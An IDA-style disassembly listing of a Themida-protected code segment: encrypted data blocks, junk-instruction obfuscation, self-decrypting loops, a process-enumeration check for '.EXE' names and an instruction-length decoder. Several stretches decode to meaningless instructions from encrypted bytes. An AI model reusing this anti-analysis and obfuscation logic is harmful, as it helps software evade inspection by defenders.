dd 14042444h, 40000000h, 6A52C350h, 0A995FF00h, 8B06130Dh
dd 0C53FEBC0h, 918EAE41h, 0AA145920h, 4A90990Dh, 2EC8A736h
dd 463F1C20h, 81324A44h, 482D9F06h, 88EF62E5h, 4703BC4Fh
dd 0B77EB792h, 0C01BF07Ah, 0F0268481h, 0B00DCB17h, 7A9A75ADh
dd 51B940C5h, 3CE90310h, 1, 4Eh dup(0)
dd 83000000h, 13212DBDh, 840F0106h, 4FDh, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 1Dh, 0A1C35242h, 1D52426Bh
dd 0BC7C4D7h, 0AE9A7h, 0BA840000h, 0E3296BE6h, 60F61735h
dd 78C0FF8h, 0F000000h, 18Ch, 85C6F500h, 61311E1h, 8E943h
dd 6090000h, 0ABD3957h, 4E8A519h, 0F5000000h, 0FECA5D0h
dd 886h, 2830F00h, 60000000h, 8F0F5061h, 14h, 0FE9h, 14E7700h
dd 0F745EDF8h, 2994AC70h, 5BED1E46h, 424448Bh, 0FE25B960h
dd 8B613BFFh, 11E900h, 296C0000h, 6487E6AEh, 0C927A49h
dd 0CECC0538h, 89F2183Fh, 0F042444h, 0C81h, 7E900h, 0E4F90000h
dd 0E735845h, 890F588Eh, 1, 0B5FFF8F5h, 6131EE9h, 11E9h
dd 5B361600h, 0AF2057A7h, 0A938F041h, 3298DD53h, 8DF51EB7h
dd 167C3385h, 1830F06h, 0F5000000h, 0E960D0FFh, 6, 0AF216343h
dd 8B66CE38h, 858961DAh, 6131CD1h, 0B800Fh, 6E90000h, 0BC000000h
dd 0C71121EDh, 0E185C64Eh, 50061311h, 188B0Fh, 0E9600000h
dd 11h, 0C194E482h, 4E216038h, 83A18D8Bh, 0DF4D30Bh, 4F6861B3h
dd 0E9804D9Ch, 6, 6B45F06h, 34813914h, 0E0311924h, 0AE928h
dd 982C0000h, 0BDACE78Bh, 0E46FE55Fh, 1EE9B5FFh, 850F0613h
dd 1, 858DF8F8h, 6167C33h, 1F96B960h, 0E9616B77h, 14h
dd 1E96B6AAh, 0F6C6507Dh, 29887941h, 1741ECB2h, 79849222h
dd 0B160D0FFh, 89F86104h, 131D2585h, 0BF0F6006h, 0DF8166F2h
dd 68612118h, 0D6B5DC42h, 13E9h, 0A1459F00h, 4647A7CBh
dd 801D651Ch, 0C55A1688h, 688E87E0h, 6D243481h, 60263A74h
dd 0EE8h, 357C3100h, 799C010Ah, 0C0999D9Dh, 0B3F7161Fh
dd 10E95FD7h, 0E4000000h, 46A905AFh, 0FDABA39Eh, 0AF332E2Dh
dd 613B745Ah, 1EE9B5FFh, 66600613h, 9F9FD081h, 61CA8B66h
dd 7C33858Dh, 0E8600616h, 0Bh, 0A2CE597Ah, 1535A932h, 0F8BDFADDh
dd 9E959h, 46E50000h, 3FBFADC2h, 619C66C3h, 7E9D0FFh, 9A000000h
dd 271CA8B1h, 8589ED11h, 6132365h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 3FC35646h, 0FCF30017h, 0E185C6FCh
dd 50061311h, 0BE860h, 6E6E0000h, 676FBE06h, 582490D3h
dd 1998B838h, 8A583678h, 0E8F961F5h, 4, 979CDC56h, 14860Fh
dd 0FE90000h, 0FE000000h, 443D2D32h, 8C4AE6BBh, 227D9062h
dd 0E9500630h, 9, 60F13B84h, 63CAF960h, 24448B1Eh, 60525004h
dd 880F6160h, 0
dd 60310F61h, 310F5250h, 0B966585Ah, 5A61F6FDh, 0E9008B58h
dd 14h, 0B0AC8C1Ch, 0E01C5352h, 1B24A1B4h, 466BBC4h, 21109FD3h
dd 4244489h, 7E860h, 26620000h, 0A9302B36h, 57605A9Bh
dd 58616158h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Bh, 54C35343h, 0D47DBAC5h, 600F5E53h, 0A828BB66h, 0A27B58B8h
dd 0E9606131h, 14h, 0AB889B72h, 0E44C6DE0h, 4B0B7BAEh
dd 0CC039320h, 609ADBECh, 6DB5FF61h, 0F5061311h, 3AAD858Dh
dd 0FFF80613h, 8E9D0h, 9D780000h, 0CC71D186h, 89FC9C1Ah
dd 1305D585h, 10E906h, 0F3870000h, 0C54E937Dh, 4D4C64DCh
dd 8B586D34h, 5EE9D627h, 0E9000001h, 6, 9D2AADCFh, 50FCEB30h
dd 0EB8A5360h, 0BE95Ah, 1E1A0000h, 41EF1119h
db 30h, 6Fh
; ---------------------------------------------------------------------------
loc_5D42EA: ; CODE XREF: Themida_:loc_5D42EAj
; DATA XREF: Themida_:005A4FA1o
jns short loc_5D42EA
xlat
popa
mov [esp], ebp
jnb loc_5D42F8
cmc
loc_5D42F8: ; CODE XREF: Themida_:005D42F1j
mov ebp, esp
ja loc_5D431E
jl loc_5D431E
jmp loc_5D431E
; ---------------------------------------------------------------------------
db 21h
dd 420FF65Ch, 81624F0Eh, 68F62FD6h, 2FC8FEB0h
db 68h, 3
; ---------------------------------------------------------------------------
loc_5D431E: ; CODE XREF: Themida_:005D42FAj
; Themida_:005D4300j ...
add esp, 0FFFFFFFCh
cld
pusha
jmp loc_5D4332
; ---------------------------------------------------------------------------
dd 0E5C691BCh, 0C13481D0h
db 58h, 6Fh
; ---------------------------------------------------------------------------
loc_5D4332: ; CODE XREF: Themida_:005D4323j
call $+5
pop edx
sub edx, 618806Dh
mov dword ptr [ebp-4], 0
cmp dword ptr [edx+613212Dh], 1
jz loc_5D43EA
push edx
push 0
push 0Fh
call dword ptr [edx+6131CD1h]
pop edx
mov [edx+6187B19h], eax
lea ebx, [edx+6187B1Dh]
push edx
mov dword ptr [ebx], 128h
push ebx
push eax
call dword ptr [edx+6131D25h]
pop edx
loc_5D437A: ; CODE XREF: Themida_:005D43A4j
; Themida_:005D43D8j
push edx
lea ebx, [edx+6187B1Dh]
push ebx
push dword ptr [edx+6187B19h]
call dword ptr [edx+61305D5h]
pop edx
or eax, eax
jz short loc_5D43E3
lea ebx, [edx+6187B1Dh]
lea edi, [ebx+24h]
xor ecx, ecx
loc_5D439E: ; CODE XREF: Themida_:005D43AEj
cmp ecx, 104h
jz short loc_5D437A
inc ecx
cmp dword ptr [ecx+edi], 4558452Eh
jnz short loc_5D439E
lea esi, [ecx+edi]
sub esi, [ebp+0Ch]
lea edi, [edx+6133275h]
mov ecx, [ebp+0Ch]
rep movsb
xor al, al
stosb
push edx
push dword ptr [ebp+8]
lea eax, [edx+6133275h]
push eax
call dword ptr [edx+6132365h]
pop edx
or eax, eax
jnz short loc_5D437A
mov dword ptr [ebp-4], 1
jmp short loc_5D43EA
; ---------------------------------------------------------------------------
loc_5D43E3: ; CODE XREF: Themida_:005D4391j
mov dword ptr [ebp-4], 0
loc_5D43EA: ; CODE XREF: Themida_:005D434Cj
; Themida_:005D43E1j
popa
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5D43FD
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D43FD proc near ; CODE XREF: Themida_:005D43F5p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_5D43FD endp
; ---------------------------------------------------------------------------
pop ecx
jp loc_5D4415
clc
loc_5D4415: ; CODE XREF: Themida_:005D440Ej
jmp loc_5D4429
; ---------------------------------------------------------------------------
dw 509Dh
dd 8DE23AA6h, 49403592h, 0E745DDEEh
db 36h
; ---------------------------------------------------------------------------
loc_5D4429: ; CODE XREF: Themida_:loc_5D4415j
mov edx, edx
call sub_5D4436
cmp byte ptr [ebx+edx*4], 7Fh
insb
push edx
; =============== S U B R O U T I N E =======================================
sub_5D4436 proc near ; CODE XREF: Themida_:005D442Bp
pop eax
cmc
add eax, 60F4h
mov esi, ecx
xor ecx, ecx
loc_5D4442: ; CODE XREF: sub_5D4477+4Ej
push dword ptr [ecx+eax]
movsx edi, cx
pop edx
mov esi, edi
add edx, 15CD268Bh
ja loc_5D4458
clc
loc_5D4458: ; CODE XREF: sub_5D4436+1Bj
xor edx, 0A96718Bh
call sub_5D4477
push ss
mov bh, 22h
repne inc dword ptr [edx]
aaa
and ebx, edi
mov ah, [esi]
scasb
movsd
pusha
xchg eax, esp
mov ebp, 0C401A237h
sub_5D4436 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D4477 proc near ; CODE XREF: sub_5D4436+28p
pop edi
add edx, 0B487288h
mov edi, ebx
push edx
pusha
mov dx, 6185h
mov si, dx
popa
pop dword ptr [eax+ecx]
push ebx
jmp loc_5D44A6
; ---------------------------------------------------------------------------
db 0E7h
dd 7A322D39h, 71B1352Dh
; ---------------------------------------------------------------------------
lodsb
daa
loc_5D449E: ; CODE XREF: sub_5D4477:loc_5D449Ej
loope loc_5D449E
; ---------------------------------------------------------------------------
dd 9256EB8Fh
db 50h, 65h
; ---------------------------------------------------------------------------
loc_5D44A6: ; CODE XREF: sub_5D4477+17j
pop ebx
sub ecx, 1
add si, 3C3Eh
dec ecx
dec ecx
dec ecx
jmp loc_5D44BF
; ---------------------------------------------------------------------------
db 24h
; ---------------------------------------------------------------------------
sbb eax, 0DCCB2C9h
sbb ecx, [edi]
loc_5D44BF: ; CODE XREF: sub_5D4477+3Bj
cmp ecx, 0FFFF9FA4h
jnz loc_5D4442
cld
call near ptr loc_5D44DF+2
daa
push esi
mov dh, 0AAh
mov dword ptr [ecx-46A5ADBFh], 0AD5B68Bh
loc_5D44DF: ; CODE XREF: sub_5D4477+55p
mov eax, ds:5ECE8BA2h
sub_5D4477 endp ; sp-analysis failed
jz loc_5D44EC
mov dh, bh
loc_5D44EC: ; CODE XREF: Themida_:005D44E4j
add esi, 5F07h
stc
mov eax, 0
jge loc_5D4510
jmp loc_5D4510
; ---------------------------------------------------------------------------
db 34h
dd 8A0AD42Eh, 4E432BFh, 73091629h
; ---------------------------------------------------------------------------
loc_5D4510: ; CODE XREF: Themida_:005D44F8j
; Themida_:005D44FEj ...
mov edi, [esi+eax]
push esi
jnp loc_5D4520
jl $+6
loc_5D4520: ; CODE XREF: Themida_:005D4514j
pop ebx
sub edi, 22875D24h
mov dx, di
add edi, 46922D08h
push edi
pusha
jmp loc_5D454A
; ---------------------------------------------------------------------------
db 0E2h
dd 0EC583849h, 3295A127h, 9082A072h, 0B1B8765Dh
db 7Eh, 9
; ---------------------------------------------------------------------------
loc_5D454A: ; CODE XREF: Themida_:005D4532j
pusha
popa
popa
pop edx
xor edi, 30700A5Bh
push edi
mov ebx, 73BE5B15h
pop dword ptr [esi+eax]
mov dx, 9A1Ch
mov cx, 3B22h
sub eax, 3
push esi
clc
pop ebx
dec eax
cmp eax, 0FFFFA1B4h
jnz loc_5D4510
call near ptr loc_5D458C+1
sub eax, [edi]
and eax, 953A8B8Dh
std
out 0FEh, eax
xor eax, 39CF2DC4h
loc_5D458C: ; CODE XREF: Themida_:005D4578p
; Themida_:005D45CFj
test [esi+12585A62h], esi
in al, 1Dh
sub al, 0BEh
shr byte ptr [ecx], 9Dh
bound eax, [edx-698F4C10h]
add al, 0Bh
xor al, 0EAh
js short loc_5D4601
jno short loc_5D45E2
inc byte ptr [ebp+59837884h]
test [esi], al
xor [eax+esi*8-6Ah], esp
shr dword ptr [edx+6F1F9204h], cl
mov [esi], eax
db 26h
xor bh, gs:[edx]
db 3Eh
mov esi, 9D313B6Eh
pop esi
cmp esp, [ecx+26h]
aaa
cmp esi, [ecx]
db 67h
adc al, 63h
repne jmp short near ptr loc_5D458C+3
; ---------------------------------------------------------------------------
loc_5D45D2: ; CODE XREF: Themida_:005D4603j
jg short loc_5D45E9
fnsave byte ptr [ebp+20E8157Fh]
cmp esi, [ecx]
jbe short loc_5D4652
imul esi, edx, 63h
; ---------------------------------------------------------------------------
db 0DDh
; ---------------------------------------------------------------------------
loc_5D45E2: ; CODE XREF: Themida_:005D45A5j
lock xor bl, [ebp-60CEAECCh]
loc_5D45E9: ; CODE XREF: Themida_:loc_5D45D2j
fdivr qword ptr [eax]
xor [edi+34h], esp
sbb ebp, [eax+70h]
insd
mov dl, 7Dh
std
xor [edx+2630C875h], bh
xor [esi+34h], esi
jp short loc_5D4660
clc
loc_5D4601: ; CODE XREF: Themida_:005D45A3j
aaa
stc
jns short loc_5D45D2
iret
; ---------------------------------------------------------------------------
xor dl, bh
mov edi, 8DB0F292h
sub ebp, [esp+eax*8]
sar byte ptr [ebx], 1
mov eax, fs
setalc
mov esp, 34EC313Eh
test [ebp+28h], bh
pop es
adc eax, 299186B2h
and bl, [ebx-294ACBCCh]
xor al, 3Bh
xor [edx-4CCDBB23h], edx
xor al, 0D2h
cmp al, 0D9h
xor al, 3Bh
pushf
popa
mov bh, 0ECh
jmp short near ptr word_5D464A
; ---------------------------------------------------------------------------
db 0B3h, 18h, 5Dh
dd 1A7EFD4Dh, 0B3DDB110h
db 0D6h, 32h
word_5D464A dw 0B1C7h ; CODE XREF: Themida_:005D463Bj
dd 84ABFFA6h
; ---------------------------------------------------------------------------
mov ch, 64h
loc_5D4652: ; CODE XREF: Themida_:005D45DCj
xor al, 0BEh
sal byte ptr [ebx+edi], cl
xor ds:76313B32h, eax
pushf
aaa
lahf
loc_5D4660: ; CODE XREF: Themida_:005D45FEj
dec eax
mov al, 3
mov eax, ds:0D96C34F7h
fdivr dword ptr [ebx] ; (emulator call)
xor [edi+6Bh], eax
clc
outsb
cmp cl, [eax+1Fh]
xor eax, 351F7058h
div byte ptr [ebx+edi]
xor [ecx], esi
arpl ax, di
dec esp
ja short loc_5D46A2
test [ebp-57h], ch
push es
xor al, 0BBh
les esi, [ebx+edi]
xor [eax-50h], ebp
aas
xor [ebx-470A2CCh], esi
iret
; ---------------------------------------------------------------------------
dw 0B4B6h
dd 3723B624h, 0AD848D27h
; ---------------------------------------------------------------------------
mov bh, 6Fh
loc_5D46A2: ; CODE XREF: Themida_:005D4680j
popa
mov eax, ds:10BF3BCDh
into
xor al, 3Bh
popa
xor eax, 823E5A54h
; ---------------------------------------------------------------------------
db 0DDh, 2Fh, 31h
dd 0B18634D9h, 34229E84h, 5F2AA2E5h, 0DCFB637Ch, 0EF49AC80h
dd 6961EAE0h, 643B5EF7h, 313B375Bh, 0F26614D9h, 1557BDB1h
dd 157FB572h, 313B213Fh, 0F26E719Dh, 8B5DF791h, 57692552h
dd 0A51AEA32h, 74AECB86h, 573D27CCh, 0BA4771CFh, 623B5EFBh
dd 313B3775h, 0F26014CEh, 1567BD3Ch, 157FB5B7h, 313B2FDDh
dd 0F26877ECh, 65228F8Bh, 3FD89876h, 85CDB5FBh, 1486B722h
dd 313D2771h, 8CB83DC6h, 37281858h, 612240ECh, 89FBBF25h
dd 313B3041h, 3C46B114h, 0ACB632DDh, 372E9D1Ah, 6960E74Ch
dd 1DBA895Ah, 453B32FFh, 89686461h, 313B3041h, 3C46B114h
dd 0ACB632DDh, 372E920Bh, 6960E74Ch, 95F9B5BFh, 32B13B9Fh
dd 3E3B3476h, 0DBBAC384h, 72B595E2h, 146C8BA8h, 0D78EF4ECh
dd 0B3EBA93Eh, 863432C1h, 0BFBEB926h, 3E3D2C1Dh, 313B30B2h
dd 3181529Dh, 0D8EBCB3Eh, 313B3460h, 286DA486h, 3AE51780h
dd 0B8BF3B2Ch, 573B3476h, 2A1FD3BAh, 7EB6A910h, 315132DDh
dd 3138DC31h, 6F1B34B3h, 45B26A1Ah, 75BA30C8h, 31263052h
dd 677D343Bh, 0FAE3B05Eh, 0F8E29942h, 3EAB0BF1h, 313B3938h
dd 3133DDD9h, 6D5D34ECh, 6929035Bh, 32831F5Dh, 5B3B349Dh
dd 32D364CEh, 113B3467h, 0B863F7EBh, 0B03F109Dh, 253F10A8h
dd 713B3476h, 0CEDFF76Bh, 663B5E7Eh, 313B3726h, 0F2641467h
dd 1547BDECh, 157FB5DDh, 313B2FE8h, 0F26C7376h, 0DFEC93E0h
dd 9AF656FEh, 0B3E3A943h, 0C7BB327Fh, 0BFBEB987h, 573D2CB2h
dd 0FF16F36Dh, 21D2E489h, 0D93B343Bh, 60417A73h, 349DB19Dh
dd 0E752280Dh, 3AB32034h, 1EBF3B19h, 0B13B34ECh, 0ACB67AB7h
dd 37287BB6h, 0C3B052FDh, 3138BCC1h, 86343467h, 30835570h
dd 0D83B34D9h, 313B34E6h, 7661FCD5h, 33395438h, 0D2C49DC1h
dd 0ACB6CA45h, 3723B6BAh, 0D96934D9h, 313B34DAh, 6BF86ECCh
dd 351F60FFh, 351F70BAh, 313B3481h, 0B5F8668Ch, 0B2760136h
dd 29F0D0A4h, 0BFBEB921h, 0D93D2C87h, 313B3473h, 0C71A8C3Dh
dd 6BA485A7h, 3151E431h, 3138DC32h, 6C1B34B3h, 5DB2691Ah
dd 75BA30C8h, 31223052h, 647E343Bh, 53949F5Eh, 3E898CEFh
dd 313B27ECh, 3135DDB3h, 0F36E34D9h, 6627CC36h, 36703409h
dd 1C1A853Eh, 0F2B052FDh, 0CC792C71h, 0F1305506h, 3140B0BCh
dd 0BA5D34D9h, 0BCA6B91Ch, 0D93D2739h, 313B3435h, 98E53363h
dd 33254187h, 271C7F07h, 16854EFCh, 6B50CA41h, 313B3754h
dd 623B5E76h, 313B37D3h, 0F260149Dh, 1567BD95h, 157FB563h
dd 313B29B7h, 0F26877D9h, 65B24BFAh, 75B043CBh, 20D3D2C2h
dd 6C3B349Dh, 0B80FC44h, 0C78740C2h, 21F7F31Ch, 0A50DCDADh
dd 68C083E3h, 515BD789h, 313BBB34h, 8B5D349Dh, 575AE6A0h
dd 3E0BEBE6h, 0DF8277D2h, 0BC3B2A98h, 29B9F251h, 38B6B970h
dd 893D2CBCh, 0BB7068E0h, 2AAEB1FDh, 0FE103274h, 0B3E3A943h
dd 0C7BB327Fh, 0BFBEB987h, 573D2CB2h, 0FF16F36Dh, 21D2E489h
dd 833B343Bh, 0A4F305E9h, 0DDBAC08Bh, 6A1BB723h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
dd 0B3ACC357h, 928BA51Bh, 8FB1A1B3h, 8166C38Bh, 8BF9C6D2h
dd 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h
dd 0C3514100h, 3FBE563Fh, 8BF7EC08h, 25BD83F8h, 61316h
dd 0BD830975h, 6132C81h, 50197400h, 0B8C08B53h, 47Ah, 31158589h
dd 9D8D0613h, 615A9E4h, 585BD3FFh, 2C81BD83h, 74000613h
dd 0B8535017h, 47Ah, 31158589h, 9D8D0613h, 615A685h, 585BD3FFh
dd 80F9BF0Fh, 8E0F82CEh, 3, 8BC88B66h, 266E9C0h, 66600000h
dd 0C1F6D98Ch, 35840F04h, 6A000000h, 6DB5FF01h, 8D061311h
dd 167C3385h, 89D0FF06h, 13281585h, 0C1FE8B06h, 680CEFh
dd 6A200600h, 57026A00h, 1000D68h, 1595FF00h, 0E9061328h
dd 32h, 11E185C6h, 68560613h, 0A9C530DFh, 1EE9B5FFh, 858D0613h
dd 6167C33h, 8589D0FFh, 613122Dh, 29FD858Dh, 6A500613h
dd 56056A40h, 122D95FFh, 0C3610613h, 3 dup(0)
; ---------------------------------------------------------------------------
push edx
mov edx, esp
pusha
mov eax, [edx+8]
mov [ebp+618885Eh], eax
mov eax, [edx+0Ch]
mov [ebp+6188856h], eax
mov eax, [edx+10h]
mov [ebp+618885Ah], eax
lea esi, [ebp+6188894h]
lea eax, dword_5B8EA1[ebp]
call eax
popa
pop edx
retn 0Ch
; ---------------------------------------------------------------------------
mov esi, [ebp+618885Eh]
mov eax, [ebp+6188856h]
cmp dword ptr [ebp+618885Ah], 0
jz loc_5D4B7E
mov [esi], eax
jmp locret_5D4B80
; ---------------------------------------------------------------------------
loc_5D4B7E: ; CODE XREF: Themida_:005D4B71j
mov [esi], al
locret_5D4B80: ; CODE XREF: Themida_:005D4B79j
iret
; ---------------------------------------------------------------------------
align 4
dd 0
dd 0D48B5200h, 8428B60h, 885E8589h, 0B58D0618h, 61888E5h
dd 8EA1858Dh, 0D0FF005Bh, 858B5A61h, 618885Eh, 8B0004C2h
dd 18885E85h, 89008B06h, 18885E85h, 0CF06h, 89600000h
dd 1888BBB5h, 0B7858906h, 8D061888h, 13065D85h, 44408B06h
dd 88F48589h, 0B58D0618h, 618892Ah, 8EA1858Dh, 0D0FF005Bh
dd 0BB858B61h, 0C3061888h, 88B79D8Bh, 0B70F0618h, 0D8033C43h
dd 3785B8Bh, 1888B79Dh, 24738B06h, 88B7B503h, 8B560618h
dd 738B207Bh, 0B7BD031Ch, 3061888h, 1888B7B5h, 0C983FC06h
dd 9D8B41FFh, 61888BBh, 9503178Bh, 61888B7h, 8A04C783h
dd 0FC08402h, 0F84h, 0F033A00h, 0FFFFDC85h, 0E94243FFh
dd 0FFFFFFE7h, 850F033Ah, 0FFFFFFCDh, 0FE1D15Fh, 8B0F04B7h
dd 85038604h, 61888B7h, 88BB8589h, 0F08B0618h, 0C18BCE8Bh
dd 88F4BD81h, 618h, 850FC030h, 0Dh, 2514E8C1h, 0FFCh, 8E9h
dd 12E8C100h, 3FF825h, 0F4BD8B00h, 83061888h, 8B06070Ch
dd 0C28B0714h, 813C8124h, 840FC18Bh, 57h, 88F4BD81h, 618h
dd 850FC030h, 0Dh, 250AE8C1h, 3FFFFCh, 8E9h, 9E8C100h
dd 7FFFF825h, 2D00h, 8834000h, 8000F706h, 0F000000h, 1E84h
dd 0F4BD8100h, 61888h, 0FC03000h, 0E84h, 3FF82500h, 808B0000h
dd 0C0600000h, 0CF060883h, 8862858Dh, 85890618h, 61321F9h
dd 88F8858Dh, 85890618h, 61315D9h, 88BF858Dh, 85890618h
dd 6130BB1h, 8B878D8Dh, 6A0618h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 170424h, 53430000h, 1FF9FFC3h, 13E957A9h
dd 0E0000000h, 0C074CB6h, 0A008D39Fh, 6C3AD078h, 97D7163Fh
dd 895B2EB9h, 131BBD8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1704h, 0C3514100h, 5FB06FB1h, 81958B60h
dd 2906132Bh, 130AC5B5h, 958B6106h, 6132C59h, 18DD85C7h
dd 60EC0613h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 9352F0C3h, 0C812C735h, 0DA816653h
dd 0BD8BE59Ch, 6132449h, 305585C7h, 613h, 12E90000h, 74000000h
dd 0F0DC1194h, 0A0E641CDh, 1106ABF6h, 936DF13Eh, 31B5FF3Eh
dd 0E9061328h, 0Ah, 57BC6330h, 4003671Fh, 95FF5B17h, 6131D89h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 12C35040h
dd 5B603283h, 1E30AAB9h, 1D7D958Bh, 6A0613h, 0DA995FFh
dd 0C08B0613h, 9232FEBh, 0D1492DC6h, 4834CF2h, 9DD0919Eh
dd 0F9F152AEh, 0AA4E1E89h, 2D61B60Fh, 5199ECAAh, 0CD5A8F0h
dd 0C137A2C5h, 43FF39F9h, 487C0E71h, 1C8E95Ah, 88880000h
dd 7 dup(88880041h), 41h, 3 dup(0)
dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
dd 44441111h, 2994444h, 203C988h, 88880010h, 88880011h
dd 11118888h, 16441111h, 0
dd 8800h, 88888800h, 0
dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
dd 16E6FFFFh, 16FA0040h, 40h, 0
dd 30000h, 14h dup(0)
dd 8C20000h, 75726600h, 0FE80h, 11h dup(0)
dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 6188D93h, 0E085C760h
dd 6188Ch, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 6188CE4h
dd 6, 24E9h, 0E8858D00h, 5006188Ch, 8D38858Dh, 56500618h
dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h, 188CE485h
dd 0B5036106h, 6188CE4h, 8CE0858Bh, 0C35D0618h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and byte ptr [ebp-5], 0
and byte ptr [ebp-6], 0
xor dl, dl
and [ebp-1], dl
cmp dword ptr [ebp+8], 0
jz loc_5D50E9
mov byte ptr [ebp-4], 2
mov byte ptr [ebp-3], 0FEh
mov byte ptr [ebp-2], 1
jmp loc_5D50F5
; ---------------------------------------------------------------------------
loc_5D50E9: ; CODE XREF: Themida_:005D50D2j
and byte ptr [ebp-3], 0
and byte ptr [ebp-2], 0
mov byte ptr [ebp-4], 4
loc_5D50F5: ; CODE XREF: Themida_:005D50E4j
push ebx
push esi
push edi
loc_5D50F8: ; CODE XREF: Themida_:005D514Dj
; Themida_:005D5169j ...
mov edi, [ebp+0Ch]
mov esi, [ebp+10h]
movzx ecx, dl
inc dl
mov al, [edi+ecx]
mov [esi+ecx], al
xor cl, cl
loc_5D510B: ; CODE XREF: Themida_:005D5132j
movzx ebx, cl
push ebp
call $+5
pop ebp
sub ebp, 6188E4Ah
lea ebp, [ebp+6188CC0h]
add ebp, ebx
cmp [ebp+0], al
pop ebp
jz loc_5D5138
inc cl
cmp cl, 0Bh
jb loc_5D510B
loc_5D5138: ; CODE XREF: Themida_:005D5127j
cmp cl, 0Bh
jz loc_5D5195
cmp al, 66h
jnz loc_5D5176
cmp byte ptr [ebp-5], 0
jnz loc_5D50F8
cmp byte ptr [ebp-3], 0
mov byte ptr [ebp-5], 1
jnz loc_5D516E
mov byte ptr [ebp-4], 2
mov byte ptr [ebp-3], 0FEh
jmp loc_5D50F8
; ---------------------------------------------------------------------------
loc_5D516E: ; CODE XREF: Themida_:005D515Bj
and byte ptr [ebp-3], 0
mov byte ptr [ebp-4], 4
loc_5D5176: ; CODE XREF: Themida_:005D5143j
cmp al, 67h
jnz loc_5D50F8
cmp byte ptr [ebp-6], 0
jnz loc_5D50F8
xor byte ptr [ebp-2], 1
mov byte ptr [ebp-6], 1
jmp loc_5D50F8
; ---------------------------------------------------------------------------
loc_5D5195: ; CODE XREF: Themida_:005D513Bj
mov ebx, [ebp+14h]
mov cl, dl
dec cl
cmp al, 0Fh
mov [ebx], cl
jnz loc_5D51C1
movzx ecx, dl
inc dl
mov al, [edi+ecx]
movzx edi, al
shr edi, 1
mov [esi+ecx], al
add edi, 80h
jmp loc_5D51C6
; ---------------------------------------------------------------------------
loc_5D51C1: ; CODE XREF: Themida_:005D51A0j
movzx edi, al
shr edi, 1
loc_5D51C6: ; CODE XREF: Themida_:005D51BCj
push ebp
call $+5
pop ebp
sub ebp, 6188F02h
lea ebp, [ebp+6188BC0h]
add ebp, edi
mov bl, [ebp+0]
pop ebp
mov cl, al
and cl, 1
mov [ebp-7], cl
shl cl, 2
shr bl, cl
test bl, 8
mov [ebp-6], bl
jz loc_5D5348
mov ebx, [ebp+0Ch]
mov byte ptr [ebp+0Bh], 1
movzx ecx, dl
inc dl
mov bl, [ebx+ecx]
mov [ebp+17h], dl
mov dl, bl
mov [esi+ecx], bl
and dl, 7
movzx ecx, bl
cmp dl, 4
setz byte ptr [ebp-5]
shr ecx, 6
sub ecx, 0
jz loc_5D528C
dec ecx
jz loc_5D526F
dec ecx
jnz loc_5D52DF
cmp byte ptr [ebp-2], 0
jnz loc_5D52DB
cmp byte ptr [ebp-5], 0
jz loc_5D524E
mov byte ptr [ebp+0Bh], 2
loc_5D524E: ; CODE XREF: Themida_:005D5244j
add byte ptr [ebp+0Bh], 4
push ebp
call $+5
pop ebp
sub ebp, 6188F8Eh
mov dword ptr [ebp+6188CE0h], 1
pop ebp
jmp loc_5D52DF
; ---------------------------------------------------------------------------
loc_5D526F: ; CODE XREF: Themida_:005D5229j
cmp byte ptr [ebp-2], 0
jnz loc_5D52B9
cmp byte ptr [ebp-5], 0
jz loc_5D52B9
mov byte ptr [ebp+0Bh], 2
jmp loc_5D52B9
; ---------------------------------------------------------------------------
loc_5D528C: ; CODE XREF: Themida_:005D5222j
cmp byte ptr [ebp-2], 0
jnz loc_5D52D2
cmp byte ptr [ebp-5], 0
jz loc_5D52C1
movzx ecx, byte ptr [ebp+17h]
mov edx, [ebp+0Ch]
mov cl, [edx+ecx]
and cl, 7
cmp cl, 5
jnz loc_5D52B9
mov [ebp+0Bh], cl
loc_5D52B9: ; CODE XREF: Themida_:005D5273j
; Themida_:005D527Dj ...
inc byte ptr [ebp+0Bh]
jmp loc_5D52DF
; ---------------------------------------------------------------------------
loc_5D52C1: ; CODE XREF: Themida_:005D529Aj
cmp dl, 5
jnz loc_5D52DF
mov [ebp+0Bh], dl
jmp loc_5D52DF
; ---------------------------------------------------------------------------
loc_5D52D2: ; CODE XREF: Themida_:005D5290j
cmp dl, 6
jnz loc_5D52DF
loc_5D52DB: ; CODE XREF: Themida_:005D523Aj
mov byte ptr [ebp+0Bh], 3
loc_5D52DF: ; CODE XREF: Themida_:005D5230j
; Themida_:005D526Aj ...
dec byte ptr [ebp+0Bh]
jz loc_5D530D
movzx ecx, byte ptr [ebp+0Bh]
mov [ebp+8], ecx
loc_5D52EF: ; CODE XREF: Themida_:005D5305j
movzx esi, byte ptr [ebp+17h]
mov ecx, [ebp+0Ch]
mov edx, [ebp+10h]
inc byte ptr [ebp+17h]
dec dword ptr [ebp+8]
mov cl, [ecx+esi]
mov [edx+esi], cl
